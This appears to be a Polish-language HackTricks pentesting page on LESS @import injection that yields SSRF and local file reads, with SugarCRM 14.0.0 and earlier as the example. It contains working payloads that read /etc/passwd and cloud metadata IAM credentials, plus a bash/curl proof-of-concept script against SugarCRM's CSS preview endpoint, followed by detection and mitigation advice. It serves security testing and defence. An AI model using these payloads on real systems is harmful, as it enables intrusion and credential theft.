hacktricks/src/pentesting-web/less-code-injection-ssrf.md

3.8 KiB
Raw Blame History

LESS Code Injection prowadzący do SSRF i odczytu lokalnych plików

{{#include ../banners/hacktricks-training.md}}

Przegląd

LESS to popularny preprocesor CSS, który dodaje zmienne, mixiny, funkcje oraz potężną dyrektywę @import. Podczas kompilacji silnik LESS pobiera zasoby wskazane w instrukcjach @import i osadza ("inline") ich zawartość w wynikowym CSS, gdy używana jest opcja (inline).

Gdy aplikacja konkatenatuje wejście kontrolowane przez użytkownika w ciągu, który jest później analizowany przez kompilator LESS, atakujący może wstrzyknąć dowolny kod LESS. Wykorzystując @import (inline), atakujący może zmusić serwer do pobrania:

  • Lokalnych plików za pomocą protokołu file:// (ujawnienie informacji / Lokalna Inkluzja Plików).
  • Zdalnych zasobów w sieciach wewnętrznych lub usługach metadanych w chmurze (SSRF).

Technika ta została zaobserwowana w produktach rzeczywistych, takich jak SugarCRM ≤ 14.0.0 (punkt końcowy /rest/v10/css/preview).

Wykorzystanie

  1. Zidentyfikuj parametr, który jest bezpośrednio osadzony w ciągu arkusza stylów przetwarzanym przez silnik LESS (np. ?lm= w SugarCRM).
  2. Zamknij bieżące oświadczenie i wstrzyknij nowe dyrektywy. Najczęściej używane prymitywy to:
  • ; kończy poprzednią deklarację.
  • } zamyka poprzedni blok (jeśli to konieczne).
  1. Użyj @import (inline) '<URL>';, aby odczytać dowolne zasoby.
  2. Opcjonalnie wstrzyknij znacznik (data: URI) po imporcie, aby ułatwić ekstrakcję pobranej zawartości z skompilowanego CSS.

Odczyt lokalnych plików

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Zawartość /etc/passwd pojawi się w odpowiedzi HTTP tuż przed znacznikiem @@END@@.

SSRF Metadane chmury

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Zautomatyzowany PoC (przykład SugarCRM)

#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Wykrywanie

  • Szukaj dynamicznie generowanych odpowiedzi .less lub .css zawierających niesanitizowane parametry zapytania.
  • Podczas przeglądu kodu, szukaj konstrukcji takich jak "@media all { .preview { ... ${userInput} ... } }" przekazywanych do funkcji renderujących LESS.
  • Próby wykorzystania często zawierają @import, (inline), file://, http://169.254.169.254 itp.

Łagodzenie

  • Nie przekazuj niezaufanych danych do kompilatora LESS.
  • Jeśli wymagane są dynamiczne wartości, odpowiednio je escape/sanitizuj (np. ogranicz do tokenów numerycznych, białe listy).
  • Wyłącz, gdy to możliwe, możliwość używania importów (inline), lub ogranicz dozwolone protokoły do https.
  • Utrzymuj zależności na bieżąco SugarCRM załatał ten problem w wersjach 13.0.4 i 14.0.1.

Przykłady z rzeczywistego świata

Produkt Wrażliwy punkt końcowy Wpływ
SugarCRM ≤ 14.0.0 /rest/v10/css/preview?lm= Niena uwierzytelniony SSRF i odczyt lokalnych plików

Odniesienia

{{#include ../banners/hacktricks-training.md}}